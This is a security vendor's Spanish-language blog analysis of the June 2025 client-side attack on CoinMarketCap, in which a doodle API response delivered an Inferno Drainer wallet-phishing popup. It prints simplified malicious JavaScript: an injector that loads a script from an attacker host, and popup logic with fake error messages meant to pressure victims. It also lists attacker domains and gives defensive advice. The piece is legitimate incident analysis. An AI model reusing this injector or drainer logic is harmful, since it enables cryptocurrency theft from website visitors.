Skip to main content
Blog
Blog Attacks

Ataque del lado del cliente en CoinMarketCap: un análisis exhaustivo

El 20 de junio de 2025, CoinMarketCap (CMC), una gran plataforma de datos cripto en tiempo real, sufrió un incidente de seguridad del lado del cliente.

Jun 23, 2025 13 min read
coin-market-cap-image-cover
Tabla de Contenidos

TL;DR: desglose del drainer de la API doodle de CoinMarketCap por $43,266

  • Las APIs propias son cadena de suministro: Las APIs propias de confianza son la nueva cadena de suministro. El propio endpoint /doodle/get de CoinMarketCap entregó el drainer de monederos, así que cualquier lista blanca de CSP y cuestionario de proveedores del mundo ya lo dejaba pasar.
  • $43,266 desde un doodle: El payload de Inferno Drainer sustrajo $43,266 a 110 víctimas a través de un doodle JSON alojado en cdnkit[.]io, y la primera transacción maliciosa se produjo a las 4:57 PM EST. cside vigila el comportamiento de los scripts en tiempo de ejecución, así que un doodle que solicita la aprobación de un monedero hace saltar la alarma.
  • Los endpoints de marketing son superficies de ataque: Si un endpoint de marketing de tu sitio puede inyectar HTML o JS, trátalo como superficie de ataque desde hoy mismo. Si no puedes bloquearlo, monitoriza qué renderiza y qué solicita realmente antes de que el próximo popup le pida a un usuario que firme.

¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.

GIF animado del popup falso de verificación de monedero mostrado a los visitantes de CoinMarketCap durante el ataque

El 20 de junio de 2025, CoinMarketCap (CMC), una gran plataforma de datos cripto en tiempo real, sufrió un incidente de seguridad del lado del cliente. Un ataque del lado del cliente comprometió su frontend, engañando a los usuarios para que conectaran sus monederos cripto mediante un sofisticado esquema de phishing. Esta brecha expuso vulnerabilidades críticas en las rutas de entrega de contenido de confianza. Aunque no sabemos si la respuesta de la API fue comprometida a través de código de terceros o por una mala configuración interna, el resultado fue claro: ejecución de malware del lado del cliente a través de una API de confianza.

A continuación, desglosamos el ataque en dos niveles: un resumen de alto nivel para partes interesadas no técnicas y un análisis técnico detallado para profesionales de la seguridad.

Resumen de alto nivel: ¿qué ocurrió?

Fuente: https://x.com/DarkWebInformer/status/1936209452878745680

Las ventanas emergentes no formaban parte de las funciones legítimas de CMC: eran el resultado de un ataque del lado del cliente que secuestró el frontend del sitio web.

Cronología del ataque

Fuente: https://x.com/blockaid_/status/1936199273701687702

Tuit que muestra la cronología del ataque a CoinMarketCap, incluida la primera transacción maliciosa a las 4:57 PM EST

El 20 de junio de 2025, los usuarios que visitaban la página principal de CoinMarketCap empezaron a ver ventanas emergentes inesperadas. Estas ventanas, diseñadas para imitar la identidad visual de CoinMarketCap, instaban a los usuarios a "verificar sus monederos" para "mantener el acceso completo" a la plataforma.

Momento crítico: la primera transacción maliciosa vinculada al ataque se ejecutó a las 4:57 PM EST, un horario probablemente elegido para coincidir con el final de la jornada laboral de los ingenieros y los equipos de seguridad, retrasando así la detección inmediata.

Conclusiones clave para partes interesadas no técnicas

  • Cómo empezó: el ataque comenzó con un elemento pequeño y aparentemente inofensivo en la página principal de CMC: una imagen "doodle" (un gráfico decorativo, como un logotipo temático festivo).
  • Qué ocurrió después: esta imagen doodle estaba vinculada a un recurso no confiable (un archivo JSON) alojado en un dominio externo (cdnkit[.]io). Este recurso contenía código oculto que inyectaba una ventana emergente falsa en el navegador del usuario.
  • El engaño: la ventana emergente parecía legítima, usando los colores, logotipos y el lenguaje de urgencia de CMC para engañar a los usuarios y que conectaran sus monederos cripto (por ejemplo, MetaMask, Phantom). Una vez conectados, los atacantes podían robar fondos.
  • Por qué es grave: aunque este ataque se pareció a un compromiso de la cadena de suministro desde la perspectiva del frontend, ya que el código malicioso se entregó a través de un endpoint de confianza, la causa subyacente pudo haber sido una modificación directa de una respuesta de API de primera parte. El origen real no está claro sin acceso interno. Sin embargo, desde la perspectiva del frontend, muestra lo peligroso que resulta cuando se abusa de los canales de datos de confianza.

Análisis técnico en profundidad: cómo funcionó el ataque

Para entender la mecánica del ataque, lo desglosamos en fases, desde el desencadenante inicial hasta la carga útil final.

Fase 1: la imagen doodle-Compromiso inicial

La página principal de CoinMarketCap incluía una sección "doodle", una función habitual para festividades o eventos (por ejemplo, un logotipo especial para el Día Mundial del Corazón). Este doodle se cargaba de forma dinámica mediante una solicitud a la API https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5

La API devolvía un archivo JSON con metadatos sobre los doodles activos, incluidos enlaces a archivos de imagen.

La respuesta JSON maliciosa

La respuesta JSON incluía una referencia a un archivo alojado en cdnkit[.]io:

"lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json"

Esta URL no apuntaba a una imagen simple. En su lugar, devolvía otro archivo JSON con código JavaScript embebido.

Fase 2: JavaScript inyectado-Ejecución del lado del cliente

El JSON de cdnkit[.]io contenía un fragmento de JavaScript oculto diseñado para ejecutarse en el navegador del usuario. Aquí tienes un desglose simplificado del código:

// Check if the attack has already been injected
if (!window.cmcInjected) {
  window.cmcInjected = true;

  // Modify the page to hide legitimate elements (e.g., the real CMC logo)
  const logo = document.querySelector('.cmc-logo');
  if (logo) {
    logo.title = 'Go to homepage'; // Fake title to mimic legitimacy
    logo.removeAttribute('data-text');
  }

  // Add CSS to style the fake popup
  const style = document.createElement('style');
  style.textContent = `.cmc-logo svg{margin-top:-3px}...`; // Hides real elements
  document.head.appendChild(style);

  // Inject the malicious popup script
  const script = document.createElement('script');
  script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
  document.head.appendChild(script);
}  

Observaciones clave

  • Ejecución del lado del cliente: el código se ejecuta en el navegador del usuario, no en los servidores de CMC. Esto elude las herramientas de seguridad del lado del servidor.
  • Control de persistencia: el indicador window.cmcInjected garantiza que el script se ejecute solo una vez por sesión, evitando así su detección.
  • Manipulación del DOM: el script modifica el HTML/CSS de la página para ocultar elementos legítimos (por ejemplo, el logotipo real de CMC) y preparar la ventana emergente falsa.

Fase 3: la ventana emergente falsa-Interfaz de phishing

El script inyectado (popup[.]js, alojado en blockassets[.]app) creó una superposición de apariencia realista. Así es como funcionaba:

Estructura de la ventana emergente

La ventana emergente imitaba el diseño de CMC, con:

  • Un título "Verify Your Wallet".
  • Un mensaje que transmitía urgencia: "Please connect your wallet now to authenticate and maintain full access to your CoinMarketCap account."
  • Un botón "Connect Wallet" con el estilo de la interfaz de CMC.

Lógica de JavaScript

El script popup[.]js incluía funciones para:

  1. Mostrar la ventana emergente: añadir una superposición a pantalla completa con el mensaje falso.
  2. Gestionar la interacción del usuario: cuando el usuario hace clic en "Connect Wallet", el script intenta conectarse a un monedero cripto (por ejemplo, MetaMask, Phantom).
  3. Exfiltración de datos: si se establece la conexión, el script se comunica con dominios fraudulentos (por ejemplo, walletconnect[.]com, trustwallet[.]com) para robar credenciales del monedero o claves privadas.

Fase 4: análisis de dominios - infraestructura sospechosa

El ataque se apoyó en dominios con señales de alerta evidentes:

Dominio Detalles
cdnkit[.]io Alojó el JSON malicioso inicial. Dominio registrado en 2020; sin vínculo directo con CMC.
blockassets[.]app Alojó popup[.]js y f43f9316-f6a5-4626-bafd-fd4fd52cb490[.]js. Los datos WHOIS del dominio muestran que no pertenece a CMC.
admin2[.]prod[.]coinmarketcap[.]supply Un dominio con la ortografía alterada (supply en lugar de com) que imita la infraestructura de CMC. El WHOIS indica que tiene 2.677 días de antigüedad (creado en 2018) y que no pertenece a CMC.
walletconnect[.]com Redirige a reown[.]com, un dominio conocido por estar relacionado con estafas.
trustwallet[.]com Históricamente vinculado a extensiones de navegador fraudulentas (según reseñas de usuarios).

Fase 5: drenador de monederos - cargas útiles técnicas

El script popup[.]js interactuaba con una biblioteca JavaScript más extensa (alojada en blockassets[.]app) que incluía funciones para:

  • Conexión de monederos: detectar y conectarse a monederos populares (MetaMask, Phantom, etc.).
  • Lógica de ataque adaptativa: personalizar el flujo de phishing según el tipo de monedero detectado para evitar advertencias de seguridad y firmas fallidas.
  • Firma de transacciones: engañar a los usuarios para que firmen transacciones maliciosas (por ejemplo, aprobando transferencias de tokens).
  • Gestión de errores: mostrar mensajes de error falsos (por ejemplo, "Your wallet is blacklisted") para presionar a los usuarios a reintentar con distintos monederos.

Fragmento de código de ejemplo

La función customPopupOpen en popup[.]js controlaba el comportamiento de la ventana emergente:

window.customPopupOpen = function(params) {
  const stepName = params.stepName;
  return new Promise((resolve) => {
    const errorSteps = ["blacklisted", "connect_empty", "connect_too_low", ...];

    if (errorSteps.includes(stepName)) {
      // Show fake error message
      injectToasterMessage({
        blacklisted: "Your wallet is not AML clear, you can't use it!",
        connect_empty: "For security reasons we can't allow you to connect empty or new wallet.",
        ...
      }[stepName]);
    } else {
      // Show loading spinner to trick users
      modalFooter.classList.add("loading");
      resolve(); // Continue drainer script
    }
  });
};  

Revelaciones posteriores al ataque

Fuente: https://x.com/ReyXBF/status/1936276267797475526

Captura de pantalla del panel de control de Inferno Drainer que muestra los fondos robados y el número de víctimas del ataque a CoinMarketCap

En las horas siguientes al incidente, un canal de Telegram llamado "CommLeaks" compartió capturas de pantalla presuntamente procedentes del panel de control del atacante. Estas imágenes, vinculadas al "Inferno Drainer" (una herramienta maliciosa bien documentada para vaciar monederos cripto), revelaron:

  • Fondos totales robados: aproximadamente $43,266 USD fueron sustraídos de 110 víctimas que interactuaron con la ventana emergente falsa de verificación de monedero.
  • Escala del ataque: el panel mostraba el alcance del ataque, con cientos de usuarios engañados para que conectaran sus monederos. Esto demuestra la eficacia de las tácticas de ingeniería social (urgencia, interfaz realista) combinadas con el compromiso del lado del cliente.

Por qué este ataque es importante

La creciente amenaza de los ataques con JS de terceros

La brecha de CoinMarketCap sigue un patrón que hemos visto a menudo: ataques que explotan canales de entrega de contenido de confianza, ya sean bibliotecas de terceros o APIs internas, para inyectar scripts maliciosos en los navegadores de los usuarios. Los atacantes apuntan cada vez más a bibliotecas, CDN y herramientas SaaS integradas en sitios web. Por ejemplo:

  • El ataque a Polyfill (febrero de 2024) distribuyó código malicioso a través de cdn[.]polyfill[.]io, un servicio ampliamente utilizado para la compatibilidad entre navegadores
  • Los scripts de terceros suelen tener acceso a datos sensibles del usuario (por ejemplo, cookies, direcciones de monedero), lo que los convierte en objetivos prioritarios

Por qué fallan las defensas tradicionales:

  • Las herramientas de seguridad del lado del servidor (firewalls, WAF) no pueden inspeccionar la ejecución de código del lado del cliente.
  • Incluso los servicios de confianza (por ejemplo, plataformas de analítica) pueden verse comprometidos, como se vio en el ataque al doodle de CoinMarketCap.

Vulnerabilidades en las rutas de datos de confianza

Desde la perspectiva del cliente, este incidente imita un ataque a la cadena de suministro en el que el contenido malicioso se entregó a través de una ruta de confianza, aunque la causa raíz pudo haber sido un compromiso directo del backend. Aunque todavía no hay evidencia de que un tercero haya sido comprometido, el ataque usó un endpoint de API de confianza (/doodle/get) para entregar código malicioso. Esto significa que incluso la infraestructura de primera parte, si está mal configurada o ha sido vulnerada, puede convertirse sin querer en un canal de distribución de malware, de forma muy similar a como lo haría una biblioteca o CDN contaminada. Aclaración: ¿fue esto realmente un ataque a la cadena de suministro?

Todavía no sabemos si se comprometió una dependencia de terceros o si la API /doodle/get fue modificada internamente. Sin embargo, desde el punto de vista del frontend, se comportó como un ataque a la cadena de suministro, porque el contenido malicioso se entregó a través de un servicio de confianza, rompiendo la cadena de confianza implícita, independientemente del origen.

Riesgos del lado del cliente

Los ataques del lado del cliente (código que se ejecuta en el navegador del usuario) son especialmente peligrosos sin protección del lado del cliente, porque:

  • Eluden las herramientas de seguridad del lado del servidor (por ejemplo, firewalls, sistemas de detección de intrusiones).
  • Explotan la confianza del usuario en una plataforma conocida (CMC).
  • Pueden propagarse rápidamente, ya que el código malicioso se carga en cada visita a la página.

Cómo mantenerse protegido

Para usuarios

  • Evita las ventanas emergentes no solicitadas: nunca conectes tu monedero a través de una ventana emergente, ni siquiera en sitios de confianza. Las plataformas legítimas no pedirán conexiones de monedero mediante ventanas emergentes inesperadas.
  • Usa bloqueadores de anuncios: herramientas como uBlock Origin o AdGuard pueden impedir que se carguen scripts maliciosos.
  • Verifica los dominios: comprueba si hay errores tipográficos en las URL (por ejemplo, coinmarketcap[.]supply frente a coinmarketcap[.]com).
  • Examina cada aprobación: antes de firmar, lee con atención los detalles en tu monedero. Sé especialmente cauteloso con las solicitudes que piden permisos amplios.

Para plataformas (por ejemplo, CMC)

  • Audita las integraciones de terceros: revisa periódicamente todos los recursos externos (imágenes, scripts, API) que se cargan en tu plataforma.
  • Integridad de subrecursos (SRI): las SRI pueden usarse para vincular scripts a hashes (por ejemplo, ``). Sin embargo, en la mayoría de los casos las SRI no serán una opción viable debido al comportamiento tan dinámico de JavaScript. Además, las SRI no alertan ante infracciones, lo que dificulta su uso en producción.
  • Monitoriza la actividad del lado del cliente: usa herramientas como Sentry o New Relic para detectar ejecuciones de JavaScript inesperadas.

Usa herramientas de monitorización de JS de terceros: los scripts de terceros son una parte fundamental de la cadena de suministro web moderna, pero también introducen riesgos. El código malicioso inyectado a través de bibliotecas de terceros (por ejemplo, herramientas de analítica, redes publicitarias o polyfills) puede comprometer los datos de los usuarios o posibilitar ataques como la brecha de CoinMarketCap

Cómo puede ayudar cside: plataformas como cside están especializadas en monitorizar, proteger y optimizar el JavaScript de terceros. Sus servicios incluyen:

  • Análisis de cargas útiles en tiempo real: rastrea cada solicitud para detectar cambios maliciosos en scripts de terceros
  • Detección de ataques a la cadena de suministro: identifica dependencias comprometidas (por ejemplo, el incidente de febrero de 2024 de cdn[.]polyfill[.]io que inyectó código malicioso en miles de sitios)
  • Soporte para el cumplimiento de PCI: garantiza que las integraciones de terceros cumplan los estándares de seguridad para los sectores que manejan datos sensibles

Paso a seguir: crea una cuenta gratuita en cside.com para empezar a monitorizar tus scripts de terceros y protegerte frente a vulnerabilidades en la cadena de suministro.

Conclusión

La brecha de CoinMarketCap muestra el daño que puede causar un elemento pequeño y pasado por alto como una imagen doodle. Los atacantes usaron la propia confianza que la plataforma tenía con sus usuarios para robar fondos. A medida que crece la adopción de las criptomonedas, las plataformas necesitan seguir protegiendo sus rutas de entrega de contenido, y los usuarios necesitan examinar con detenimiento cada solicitud de conexión de monedero. Para los equipos de seguridad, este incidente es un argumento a favor de la gestión de riesgos de la cadena de suministro y de la seguridad del lado del cliente. Para los usuarios, es un recordatorio de que hay que estar alerta: incluso las plataformas de confianza pueden ser víctimas del phishing.

Un agradecimiento especial a nuestro amigo y colaborador invitado del blog, Jack LaFond.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitoriza y protege tus scripts de terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Empieza gratis o prueba Business con una versión de prueba de 14 días.

Interfaz del panel de cside que muestra la monitorización de scripts y el análisis de seguridad
Related Articles
Reservar una demo

¿Quieres verlo en detalle con un ingeniero?

Treinta minutos, sobre tu propio sitio. Nada de diapositivas.

Te enseñaremos:

Qué scripts de terceros se están ejecutando ahora mismo en tu sitio
En qué punto estás con los requisitos 6.4.3 y 11.6.1 de PCI DSS
Qué parte de tu tráfico son bots y agentes de IA

¿Prefieres mandarnos una pregunta?

Buscando huecos libres…

Solo humanos de verdad. Nos daríamos cuenta.

¿Problemas para reservar? Abrir el calendario en una pestaña nueva

¿Qué quieres resolver?

Cuéntanoslo en una línea y te responderemos con algo útil, no con un discurso genérico.

Solemos ayudar con:

Ver qué scripts de terceros se ejecutan en tu sitio
Evidencias para PCI DSS 6.4.3 y 11.6.1
Bots, agentes de IA y robo de cuentas

¿Prefieres reservar una hora? Elegir un hueco